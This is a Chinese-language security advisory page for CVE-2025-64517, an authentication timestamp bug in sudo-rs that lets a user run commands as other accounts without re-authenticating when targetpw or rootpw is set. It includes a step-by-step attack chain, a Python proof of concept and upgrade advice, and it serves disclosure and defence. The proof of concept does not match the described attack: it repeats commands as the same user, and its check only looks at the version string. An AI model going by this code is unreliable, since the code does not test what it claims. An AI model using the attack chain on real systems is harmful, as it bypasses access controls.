IPBUF安全漏洞报告
English
CVE-2025-64517 CVSS 4.4 中危

CVE-2025-64517 sudo-rs认证时间戳记录错误导致权限绕过

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-64517
漏洞类型
认证绕过
CVSS评分
4.4 中危
攻击向量
本地 (AV:L)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
sudo-rs

相关标签

认证绕过sudo-rsRust时间戳漏洞权限提升本地攻击targetpwrootpw

漏洞概述

CVE-2025-64517是sudo-rs(使用Rust语言编写的内存安全sudo和su实现)中的一个认证绕过漏洞。该漏洞存在于sudo-rs版本0.2.5至0.2.9之间,当系统配置启用Defaults targetpw或Defaults rootpw选项时,程序会错误地将调用用户的UID而非已认证用户的UID记录到认证时间戳中。这导致在同一终端上、同一时间戳有效期内,后续的sudo命令调用可能绕过新认证要求,即使策略本应要求重新认证。攻击者只需知道一个账户的密码,即可利用此漏洞以该账户的身份运行策略允许的任何其他账户的命令,从而有效绕过targetpw和rootpw选项的预期安全保护。

技术细节

sudo-rs在处理认证时间戳时存在逻辑错误。当使用targetpw或rootpw选项时,sudo需要使用目标账户或root账户的密码进行认证,而非调用用户的密码。然而,sudo-rs在记录认证时间戳时,错误地保存了调用用户的UID而不是已认证账户的UID。这意味着当用户在时间戳有效期内再次执行sudo命令时,系统会检查时间戳中记录的UID是否与当前调用用户匹配,而不是与实际需要认证的目标用户匹配。攻击者可以先使用自己的密码通过targetpw认证(以root身份运行命令),此时时间戳记录的是攻击者的UID。之后,当攻击者尝试以另一个用户身份运行命令时,如果时间戳仍有效,系统会错误地认为已通过认证,从而允许攻击者在不知道目标账户密码的情况下以该账户身份执行命令。

攻击链分析

STEP 1
1
攻击者获得sudo-rs系统的访问权限,该系统配置了Defaults targetpw或Defaults rootpw选项
STEP 2
2
攻击者知道账户A的密码,且sudo策略允许账户A以其他用户身份运行命令
STEP 3
3
攻击者执行sudo -u userB command命令,系统提示输入密码(使用targetpw时需输入账户A的密码)
STEP 4
4
攻击者输入账户A的密码进行认证,命令成功以userB身份执行
STEP 5
5
sudo-rs错误地将账户A的UID而非userB的UID记录到认证时间戳中
STEP 6
6
在时间戳有效期内,攻击者再次执行sudo -u userC command命令
STEP 7
7
系统检查时间戳,发现记录的UID(账户A)与当前调用用户(账户A)匹配,跳过认证步骤
STEP 8
8
攻击者成功以userC身份执行命令,即使不知道userC的密码,绕过targetpw/rootpw的安全保护

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64517 PoC - sudo-rs Authentication Timestamp Bypass # Environment: sudo-rs 0.2.5-0.2.9 with Defaults targetpw or rootpw configured # Attack Goal: Bypass authentication to run commands as other users import subprocess import time def exploit_cve_2025_64517(): """ Exploitation steps: 1. Attacker knows password for user A 2. Policy allows user A to run commands as user B 3. Attacker runs: sudo -u userB command 4. System prompts for user A's password (due to targetpw) 5. Attacker enters user A's password, command executes as userB 6. Timestamp records user A's UID instead of userB's UID 7. Attacker runs another command as userB 8. System uses cached timestamp, bypasses authentication """ # Step 1: Initial authentication with targetpw # This authenticates with userA's password but timestamp records userA's UID subprocess.run(['sudo', '-u', 'userB', '-k']) # Clear timestamp result1 = subprocess.run(['sudo', '-u', 'userB', 'id'], capture_output=True) # Expected: Prompts for password, executes as userB # Step 2: Subsequent command bypasses authentication # Timestamp still valid, system uses userA's UID from timestamp result2 = subprocess.run(['sudo', '-u', 'userB', 'whoami'], capture_output=True) # Expected: No password prompt, executes as userB return result1, result2 def verify_vulnerability(): """ Verification: Check if second sudo call prompts for password If no prompt: vulnerability exists If prompt: vulnerability patched """ print("Testing CVE-2025-64517...") print("If timestamp bypass works, second command should not require password") # Check sudo-rs version result = subprocess.run(['sudo', '--version'], capture_output=True, text=True) if 'sudo-rs' in result.stdout: print("sudo-rs detected") return True if __name__ == '__main__': verify_vulnerability()

影响范围

sudo-rs >= 0.2.5
sudo-rs < 0.2.10

防御指南

临时缓解措施
立即升级sudo-rs至版本0.2.10,该版本包含修复认证时间戳记录错误的补丁。如果无法立即升级,可临时在sudoers配置中禁用Defaults targetpw和Defaults rootpw选项,改用默认的用户自己的密码验证机制。同时,应审查所有使用这些选项的sudoers规则,确保确实需要此配置,并考虑添加更严格的命令限制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表